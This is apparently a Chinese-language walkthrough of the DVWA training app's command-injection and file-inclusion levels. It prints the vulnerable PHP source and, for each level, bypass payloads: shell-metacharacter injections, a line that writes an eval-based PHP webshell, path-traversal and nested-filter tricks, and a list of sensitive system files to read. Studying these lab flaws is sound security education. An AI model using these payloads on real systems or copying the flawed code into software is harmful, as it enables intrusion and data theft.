命令注入 commond_injection
源碼、分析、payload:
low:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
分析源碼可以看到從用戶那里取得ip數據,調用系統shell執行ping命令,結果直接返回網頁,ping的目標就是用戶提交的ip數據。但是沒有任何的過濾防護導致系統shell完全可控。
如圖1,payload:127.0.0.1 & echo Hacked!
,顯示指定字符串。將echo換成fputs(fopen("shell.php","w"), '<?php eval($_POST["cmd"]) ?>');
則將會在web應用根目錄下生成shell.php文件得到webshell。(為書寫方便,只用echo,不再用其他命令)
middle:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
分析源碼看到,使用黑名單對用戶輸入數據進行了簡單過濾。但是黑名單不全,且沒有進行迭代過濾,導致可繞過過濾。
1、由黑名單不全可得:使用其他的邏輯鏈接詞,例如| || &
等,payload:127.0.0.1 & echo Hacked!
如圖2,命令執行成功
2、由沒有迭代過濾可得:構造巧妙的命令,使過濾后的命令再次組成可執行命令。payload:127.0.0.1 &;& echo Hacked!
,這樣,分號被過濾,剩下的命令仍可繼續執行
如圖3,命令執行成功
high:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
分析代碼,看到黑名單增加了,基本上可能導致命令注入的符號都被過濾。然而仔細看'| ' => ''
這段代碼,管道符右側有一個空格,這樣構造payload:127.0.0.1 |echo Hacked!
(在管道符左側有一空格,右側沒有),可成功取得webshell。
如圖4,命令成功執行
impossible:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析代碼看到,把傳進的參數以.
分割為數組,取前四個,利用is_numeric()
函數分析是否為數字類型。這樣就確保了調用系統shell時給定的參數只為數字,程序不再有漏洞可以利用。
文件包含 file_include
源碼,分析,payload
為了方便顯示,在web根目錄下建立一個shell.php,內容:
<?php phpinfo();?>
輸出php設置
low:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
完全沒有過濾,直接從get超數組取得想要包含的文件並包含執行。
payload:?page=../../shell.php
,如圖5,確實包含並執行了shell.php,我們取得了控制權。我們甚至可以包含系統的一些敏感文件,如下
/etc/passed //Linux下各用戶的賬戶密碼
/usr/local/app/apache2/conf/extra/http-vhosts.conf //虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP相關設置
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.conf //MySQL配置文件
/proc/self/environ //Linux下環境變量文件
以下將會包含shell.php做證明和演示
如圖5
middle:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
可以看到,代碼過濾了http和https協議頭即拒絕了遠程包含,並過濾了跳轉上一級的命令。
1、針對過濾的協議頭,代碼仍然沒有迭代過濾,導致利用內嵌的組合形式繞過。payload:page=hthttps://tps://
,如圖6繞過了過濾實現了遠程文件包含
2、針對過濾的../ ..\
命令,仍然可以繼續利用沒有迭代過濾的問題,也可以直接使用絕對路徑來解決。payload:page=..././..././shell.php
或page=/var/www/html/dvwa/shell.php
,如圖7
high:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
代碼實現了對文件名的匹配,page參數需要以file開頭或者文件名為include.php。這樣在一定程度上保證了安全性,但是仍有方法可以繞過。
使用php封裝的偽協議,構造payload:page=file://var/www/html/dvwa/shell.php
,這樣匹配上了過濾代碼的要求,如圖8
impossible:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
可以看到,文件名被硬編碼在了過濾腳本中。在這樣的特定環境中,不可能有攻擊漏洞可利用,因此是安全的。